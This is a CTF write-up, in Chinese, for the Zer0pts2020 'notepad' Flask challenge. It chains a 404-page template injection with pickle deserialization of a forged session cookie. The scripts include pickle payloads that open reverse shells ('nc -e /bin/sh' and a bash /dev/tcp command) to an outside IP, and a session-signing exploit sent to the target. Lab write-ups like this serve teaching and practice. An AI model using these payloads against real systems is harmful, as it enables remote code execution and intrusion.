[Zer0pts2020]notepad
解题步骤
直接审计一波源码
def page_not_found(error):
""" Automatically go back when page is not found """
referrer = flask.request.headers.get("Referer")
if referrer is None: referrer = '/'
if not valid_url(referrer): referrer = '/'
html = '<html><head><meta http-equiv="Refresh" content="3;URL={}"><title>404 Not Found</title></head><body>Page not found. Redirecting...</body></html>'.format(referrer)
return flask.render_template_string(html), 404
def valid_url(url):
""" Check if given url is valid """
host = flask.request.host_url
if not url.startswith(host): return False # Not from my server
if len(url) - len(host) > 16: return False # Referer may be also 404
return True
发现404有ssti注入。
def load():
""" Load saved notes """
try:
savedata = flask.session.get('savedata', None)
data = pickle.loads(base64.b64decode(savedata))
except:
data = [{"date": now(), "text": "", "title": "*New Note*"}]
return data
这里有pickle反序列化。
def notepad(nid=0):
data = load()
if not 0 <= nid < len(data):
nid = 0
return flask.render_template('index.html', data=data, nid=nid)
这里可以触发反序列化。
flask.session['savedata'] = base64.b64encode(pickle.dumps(data))
告诉我们session的结构。直接ssti读key。由于限制注入长度，所以不能用ssti来解
然后用脚本生成pickle rce数据：
import pickle
import sys
import base64
import os
# COMMAND = sys.argv[1]
class PickleRce(object):
def __reduce__(self):
return (os.system, ("nc -e /bin/sh 47.96.173.116 2333",))
print(base64.b64encode(pickle.dumps(PickleRce())))
md，该死的flask-session那个工具天天报错，直接上网找了一个一步到胃的脚本：
from flask.sessions import SecureCookieSessionInterface
import os, sys, pickle, base64, requests
COMMAND = "bash -c 'bash -i >& /dev/tcp/47.96.173.116/2333 0>&1'"
class PickleRce(object):
def __reduce__(self):
return (os.system,(COMMAND,))
class App(object):
def __init__(self):
self.secret_key = None
app = App()
app.secret_key = b'\x0cl\x06\xd1\x9c\xe9\xd7\xfa\xd86\xccQU\x05\x95\r'
si = SecureCookieSessionInterface()
serializer = si.get_signing_serializer(app)
session = serializer.dumps({'savedata':base64.b64encode(pickle.dumps(PickleRce()))})
print(session)
requests.get('http://40de4789-7b10-4733-ad76-8e501a0b9434.node4.buuoj.cn/note/1', cookies = {
'session': session
});反弹shell之后在用户文件可以找到flag：cat /home/web/flag
除此之外，还有第二种做法，假如靶机不能出网的情况下：
（详细看wp）https://www.cxyzjd.com/article/qq_38154820/106417087